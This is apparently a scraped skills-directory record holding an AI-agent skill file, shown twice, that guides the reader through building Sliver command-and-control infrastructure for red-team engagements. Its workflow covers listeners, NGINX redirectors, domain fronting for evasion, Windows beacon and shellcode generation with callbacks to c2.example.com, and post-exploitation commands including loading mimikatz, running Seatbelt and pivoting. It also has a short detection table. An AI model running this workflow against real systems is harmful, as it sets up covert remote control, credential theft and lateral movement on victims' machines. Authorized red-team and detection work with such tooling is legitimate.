[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6ESW4GSVW0WMD72KGT2WDNW":3,"skill-same:01M6ESW4GSVW0WMD72KGT2WDNW":129},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":44,"linkOnly":45,"markdownContent":46,"markdownBody":47,"frontMatter":48,"refName":72,"commitSha":73,"skillDirectory":74,"forksCount":14,"repositoryHtmlUrl":75,"repositoryHomepageUrl":76,"ownerHtmlUrl":77,"ownerBlogUrl":6,"ownerDescription":78,"updatedAt":79,"install":80,"resources":93},"01M6ESW4GSVW0WMD72KGT2WDNW","building-c2-infrastructure-with-sliver-framework",null,"Build and configure a resilient command-and-control infrastructure using BishopFox's Sliver C2 framework with redirectors, HTTPS listeners, and multi-operator support for authorized red team engagements.","henriquescastilho\u002Fmy-claude","henriquescastilho","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F153296945?v=4","01M6ESH7EXPXTH9CVQ4K16SRG8","Henrique Scheer","01M6ESH7JHEK2PTNNH4HEH787Z",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fbuilding-c2-infrastructure-with-sliver-framework\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发","SCENARIO","使用场景",[24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43],"building c2 infrastructure with sliver framework","with","sliver","c2","framework","infrastructure","operator","command-and-control","c2-framework","adversary-simulation","cybersecurity","analysis","simulation","certificate","team","configure","command","conversion","de","support","2026-11-10 10:12:30",false,"---\nname: building-c2-infrastructure-with-sliver-framework\ndescription: Build and configure a resilient command-and-control infrastructure using\n  BishopFox's Sliver C2 framework with redirectors, HTTPS listeners, and multi-operator\n  support for authorized red team engagements.\ndomain: cybersecurity\nsubdomain: red-teaming\ntags:\n- red-team\n- c2-framework\n- sliver\n- command-and-control\n- adversary-simulation\n- infrastructure\n- post-exploitation\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nd3fend_techniques:\n- File Metadata Consistency Validation\n- Certificate Analysis\n- Application Protocol Command Analysis\n- Content Format Conversion\n- File Content Analysis\nnist_csf:\n- ID.RA-01\n- GV.OV-02\n- DE.AE-07\nmitre_attack:\n- T1071.001\n- T1071.004\n- T1573.002\n- T1090.002\n- T1105\n- T1572\n---\n# Building C2 Infrastructure with Sliver Framework\n\n## Overview\n\nSliver is an open-source, cross-platform adversary emulation framework developed by BishopFox, written in Go. It provides red teams with implant generation, multi-protocol C2 channels (mTLS, HTTP\u002FS, DNS, WireGuard), multi-operator support, and extensive post-exploitation capabilities. Sliver supports beacon (asynchronous) and session (interactive) modes, making it suitable for both long-haul operations and interactive exploitation. A properly architected Sliver infrastructure uses redirectors, domain fronting, and HTTPS certificates to maintain operational resilience and avoid detection.\n\n\n## When to Use\n\n- When deploying or configuring building c2 infrastructure with sliver framework capabilities in your environment\n- When establishing security controls aligned to compliance requirements\n- When building or improving security architecture for this domain\n- When conducting security assessments that require this implementation\n\n## Prerequisites\n\n- Familiarity with red teaming concepts and tools\n- Access to a test or lab environment for safe execution\n- Python 3.8+ with required dependencies installed\n- Appropriate authorization for any testing activities\n\n## Objectives\n\n- Deploy a Sliver team server on hardened cloud infrastructure\n- Configure HTTPS, mTLS, DNS, and WireGuard listeners\n- Generate implants (beacons and sessions) for target platforms\n- Set up NGINX or Apache redirectors between implants and the team server\n- Implement Cloudflare or CDN-based domain fronting for traffic obfuscation\n- Configure multi-operator access with certificate-based authentication\n- Establish operational security controls for C2 communications\n\n## MITRE ATT&CK Mapping\n\n- **T1071.001** - Application Layer Protocol: Web Protocols\n- **T1071.004** - Application Layer Protocol: DNS\n- **T1573.002** - Encrypted Channel: Asymmetric Cryptography\n- **T1090.002** - Proxy: External Proxy (Redirectors)\n- **T1105** - Ingress Tool Transfer\n- **T1132.001** - Data Encoding: Standard Encoding\n- **T1572** - Protocol Tunneling\n\n## Workflow\n\n### Phase 1: Team Server Deployment\n1. Provision a VPS (e.g., DigitalOcean, Linode, AWS EC2) for the team server\n2. Harden the OS: disable SSH password auth, configure UFW\u002Fiptables, install fail2ban\n3. Install Sliver using the official install script:\n   ```bash\n   curl https:\u002F\u002Fsliver.sh\u002Finstall | sudo bash\n   ```\n4. Start the Sliver server daemon:\n   ```bash\n   systemctl start sliver\n   # Or run interactively\n   sliver-server\n   ```\n5. Generate operator configuration files for team members:\n   ```bash\n   new-operator --name operator1 --lhost \u003Cteam-server-ip>\n   ```\n\n### Phase 2: Listener Configuration\n1. Configure an HTTPS listener with a legitimate SSL certificate:\n   ```bash\n   https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert \u002Fpath\u002Fto\u002Fcert.pem --key \u002Fpath\u002Fto\u002Fkey.pem\n   ```\n2. Configure a DNS listener for fallback C2:\n   ```bash\n   dns --domains c2dns.example.com --lport 53\n   ```\n3. Configure mTLS listener for high-security sessions:\n   ```bash\n   mtls --lhost 0.0.0.0 --lport 8888\n   ```\n4. Configure WireGuard listener for tunneled access:\n   ```bash\n   wg --lport 51820\n   ```\n\n### Phase 3: Redirector Setup\n1. Deploy a separate VPS as a redirector (positioned between targets and team server)\n2. Install and configure NGINX as a reverse proxy:\n   ```nginx\n   server {\n       listen 443 ssl;\n       server_name c2.example.com;\n       ssl_certificate \u002Fetc\u002Fletsencrypt\u002Flive\u002Fc2.example.com\u002Ffullchain.pem;\n       ssl_certificate_key \u002Fetc\u002Fletsencrypt\u002Flive\u002Fc2.example.com\u002Fprivkey.pem;\n\n       location \u002F {\n           proxy_pass https:\u002F\u002F\u003Cteam-server-ip>:443;\n           proxy_ssl_verify off;\n           proxy_set_header Host $host;\n           proxy_set_header X-Real-IP $remote_addr;\n       }\n   }\n   ```\n3. Configure iptables rules on the team server to only accept connections from the redirector:\n   ```bash\n   iptables -A INPUT -p tcp --dport 443 -s \u003Credirector-ip> -j ACCEPT\n   iptables -A INPUT -p tcp --dport 443 -j DROP\n   ```\n4. Optionally set up Cloudflare as a CDN layer in front of the redirector for domain fronting\n\n### Phase 4: Implant Generation\n1. Generate an HTTPS beacon implant:\n   ```bash\n   generate beacon --http https:\u002F\u002Fc2.example.com --os windows --arch amd64 --format exe --name payload\n   ```\n2. Generate a DNS beacon for restricted networks:\n   ```bash\n   generate beacon --dns c2dns.example.com --os windows --arch amd64\n   ```\n3. Generate a shellcode payload for injection:\n   ```bash\n   generate --http https:\u002F\u002Fc2.example.com --os windows --arch amd64 --format shellcode\n   ```\n4. Configure beacon jitter and callback intervals:\n   ```bash\n   generate beacon --http https:\u002F\u002Fc2.example.com --seconds 60 --jitter 30\n   ```\n\n### Phase 5: Post-Exploitation Operations\n1. Interact with active beacons\u002Fsessions:\n   ```bash\n   beacons        # List active beacons\n   use \u003Cbeacon-id> # Interact with a beacon\n   ```\n2. Execute post-exploitation modules:\n   ```bash\n   ps              # Process listing\n   netstat         # Network connections\n   execute-assembly \u002Fpath\u002Fto\u002FSeatbelt.exe -group=all  # Run .NET assemblies\n   sideload \u002Fpath\u002Fto\u002Fmimikatz.dll  # Load DLLs\n   ```\n3. Set up pivots for internal network access:\n   ```bash\n   pivots tcp --bind 0.0.0.0:9898  # Create pivot listener on compromised host\n   ```\n4. Use BOF (Beacon Object Files) for in-memory execution:\n   ```bash\n   armory install sa-ldapsearch  # Install from armory\n   sa-ldapsearch -- \"(objectClass=user)\"  # Execute BOF\n   ```\n\n## Tools and Resources\n\n| Tool | Purpose | Platform |\n|------|---------|----------|\n| Sliver Server | C2 team server and implant management | Linux\u002FmacOS\u002FWindows |\n| Sliver Client | Operator console for team members | Cross-platform |\n| NGINX | Redirector and reverse proxy | Linux |\n| Certbot | Let's Encrypt SSL certificate generation | Linux |\n| Cloudflare | CDN and domain fronting | Cloud |\n| Armory | Sliver extension\u002FBOF package manager | Built-in |\n\n## Detection Signatures\n\n| Indicator | Detection Method |\n|-----------|-----------------|\n| Default Sliver HTTP headers | Network traffic analysis for unusual User-Agent strings |\n| mTLS on non-standard ports | Firewall logs for outbound connections to unusual ports |\n| DNS TXT record queries with high entropy | DNS log analysis for encoded C2 traffic |\n| WireGuard UDP traffic on port 51820 | Network flow analysis for WireGuard handshake patterns |\n| Sliver implant file hashes | EDR\u002FAV signature matching against known Sliver samples |\n\n## Validation Criteria\n\n- [ ] Team server deployed and hardened with firewall rules\n- [ ] HTTPS listener configured with valid SSL certificate\n- [ ] DNS listener configured as fallback C2 channel\n- [ ] At least one redirector deployed between targets and team server\n- [ ] Multi-operator access configured with unique certificates\n- [ ] Implants generated for target operating systems\n- [ ] Beacon callback intervals and jitter configured for stealth\n- [ ] Post-exploitation modules tested (process listing, .NET assembly execution)\n- [ ] Pivot functionality validated for internal network access\n- [ ] All C2 traffic encrypted and passing through redirectors\n","# Building C2 Infrastructure with Sliver Framework\n\n## Overview\n\nSliver is an open-source, cross-platform adversary emulation framework developed by BishopFox, written in Go. It provides red teams with implant generation, multi-protocol C2 channels (mTLS, HTTP\u002FS, DNS, WireGuard), multi-operator support, and extensive post-exploitation capabilities. Sliver supports beacon (asynchronous) and session (interactive) modes, making it suitable for both long-haul operations and interactive exploitation. A properly architected Sliver infrastructure uses redirectors, domain fronting, and HTTPS certificates to maintain operational resilience and avoid detection.\n\n\n## When to Use\n\n- When deploying or configuring building c2 infrastructure with sliver framework capabilities in your environment\n- When establishing security controls aligned to compliance requirements\n- When building or improving security architecture for this domain\n- When conducting security assessments that require this implementation\n\n## Prerequisites\n\n- Familiarity with red teaming concepts and tools\n- Access to a test or lab environment for safe execution\n- Python 3.8+ with required dependencies installed\n- Appropriate authorization for any testing activities\n\n## Objectives\n\n- Deploy a Sliver team server on hardened cloud infrastructure\n- Configure HTTPS, mTLS, DNS, and WireGuard listeners\n- Generate implants (beacons and sessions) for target platforms\n- Set up NGINX or Apache redirectors between implants and the team server\n- Implement Cloudflare or CDN-based domain fronting for traffic obfuscation\n- Configure multi-operator access with certificate-based authentication\n- Establish operational security controls for C2 communications\n\n## MITRE ATT&CK Mapping\n\n- **T1071.001** - Application Layer Protocol: Web Protocols\n- **T1071.004** - Application Layer Protocol: DNS\n- **T1573.002** - Encrypted Channel: Asymmetric Cryptography\n- **T1090.002** - Proxy: External Proxy (Redirectors)\n- **T1105** - Ingress Tool Transfer\n- **T1132.001** - Data Encoding: Standard Encoding\n- **T1572** - Protocol Tunneling\n\n## Workflow\n\n### Phase 1: Team Server Deployment\n1. Provision a VPS (e.g., DigitalOcean, Linode, AWS EC2) for the team server\n2. Harden the OS: disable SSH password auth, configure UFW\u002Fiptables, install fail2ban\n3. Install Sliver using the official install script:\n   ```bash\n   curl https:\u002F\u002Fsliver.sh\u002Finstall | sudo bash\n   ```\n4. Start the Sliver server daemon:\n   ```bash\n   systemctl start sliver\n   # Or run interactively\n   sliver-server\n   ```\n5. Generate operator configuration files for team members:\n   ```bash\n   new-operator --name operator1 --lhost \u003Cteam-server-ip>\n   ```\n\n### Phase 2: Listener Configuration\n1. Configure an HTTPS listener with a legitimate SSL certificate:\n   ```bash\n   https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert \u002Fpath\u002Fto\u002Fcert.pem --key \u002Fpath\u002Fto\u002Fkey.pem\n   ```\n2. Configure a DNS listener for fallback C2:\n   ```bash\n   dns --domains c2dns.example.com --lport 53\n   ```\n3. Configure mTLS listener for high-security sessions:\n   ```bash\n   mtls --lhost 0.0.0.0 --lport 8888\n   ```\n4. Configure WireGuard listener for tunneled access:\n   ```bash\n   wg --lport 51820\n   ```\n\n### Phase 3: Redirector Setup\n1. Deploy a separate VPS as a redirector (positioned between targets and team server)\n2. Install and configure NGINX as a reverse proxy:\n   ```nginx\n   server {\n       listen 443 ssl;\n       server_name c2.example.com;\n       ssl_certificate \u002Fetc\u002Fletsencrypt\u002Flive\u002Fc2.example.com\u002Ffullchain.pem;\n       ssl_certificate_key \u002Fetc\u002Fletsencrypt\u002Flive\u002Fc2.example.com\u002Fprivkey.pem;\n\n       location \u002F {\n           proxy_pass https:\u002F\u002F\u003Cteam-server-ip>:443;\n           proxy_ssl_verify off;\n           proxy_set_header Host $host;\n           proxy_set_header X-Real-IP $remote_addr;\n       }\n   }\n   ```\n3. Configure iptables rules on the team server to only accept connections from the redirector:\n   ```bash\n   iptables -A INPUT -p tcp --dport 443 -s \u003Credirector-ip> -j ACCEPT\n   iptables -A INPUT -p tcp --dport 443 -j DROP\n   ```\n4. Optionally set up Cloudflare as a CDN layer in front of the redirector for domain fronting\n\n### Phase 4: Implant Generation\n1. Generate an HTTPS beacon implant:\n   ```bash\n   generate beacon --http https:\u002F\u002Fc2.example.com --os windows --arch amd64 --format exe --name payload\n   ```\n2. Generate a DNS beacon for restricted networks:\n   ```bash\n   generate beacon --dns c2dns.example.com --os windows --arch amd64\n   ```\n3. Generate a shellcode payload for injection:\n   ```bash\n   generate --http https:\u002F\u002Fc2.example.com --os windows --arch amd64 --format shellcode\n   ```\n4. Configure beacon jitter and callback intervals:\n   ```bash\n   generate beacon --http https:\u002F\u002Fc2.example.com --seconds 60 --jitter 30\n   ```\n\n### Phase 5: Post-Exploitation Operations\n1. Interact with active beacons\u002Fsessions:\n   ```bash\n   beacons        # List active beacons\n   use \u003Cbeacon-id> # Interact with a beacon\n   ```\n2. Execute post-exploitation modules:\n   ```bash\n   ps              # Process listing\n   netstat         # Network connections\n   execute-assembly \u002Fpath\u002Fto\u002FSeatbelt.exe -group=all  # Run .NET assemblies\n   sideload \u002Fpath\u002Fto\u002Fmimikatz.dll  # Load DLLs\n   ```\n3. Set up pivots for internal network access:\n   ```bash\n   pivots tcp --bind 0.0.0.0:9898  # Create pivot listener on compromised host\n   ```\n4. Use BOF (Beacon Object Files) for in-memory execution:\n   ```bash\n   armory install sa-ldapsearch  # Install from armory\n   sa-ldapsearch -- \"(objectClass=user)\"  # Execute BOF\n   ```\n\n## Tools and Resources\n\n| Tool | Purpose | Platform |\n|------|---------|----------|\n| Sliver Server | C2 team server and implant management | Linux\u002FmacOS\u002FWindows |\n| Sliver Client | Operator console for team members | Cross-platform |\n| NGINX | Redirector and reverse proxy | Linux |\n| Certbot | Let's Encrypt SSL certificate generation | Linux |\n| Cloudflare | CDN and domain fronting | Cloud |\n| Armory | Sliver extension\u002FBOF package manager | Built-in |\n\n## Detection Signatures\n\n| Indicator | Detection Method |\n|-----------|-----------------|\n| Default Sliver HTTP headers | Network traffic analysis for unusual User-Agent strings |\n| mTLS on non-standard ports | Firewall logs for outbound connections to unusual ports |\n| DNS TXT record queries with high entropy | DNS log analysis for encoded C2 traffic |\n| WireGuard UDP traffic on port 51820 | Network flow analysis for WireGuard handshake patterns |\n| Sliver implant file hashes | EDR\u002FAV signature matching against known Sliver samples |\n\n## Validation Criteria\n\n- [ ] Team server deployed and hardened with firewall rules\n- [ ] HTTPS listener configured with valid SSL certificate\n- [ ] DNS listener configured as fallback C2 channel\n- [ ] At least one redirector deployed between targets and team server\n- [ ] Multi-operator access configured with unique certificates\n- [ ] Implants generated for target operating systems\n- [ ] Beacon callback intervals and jitter configured for stealth\n- [ ] Post-exploitation modules tested (process listing, .NET assembly execution)\n- [ ] Pivot functionality validated for internal network access\n- [ ] All C2 traffic encrypted and passing through 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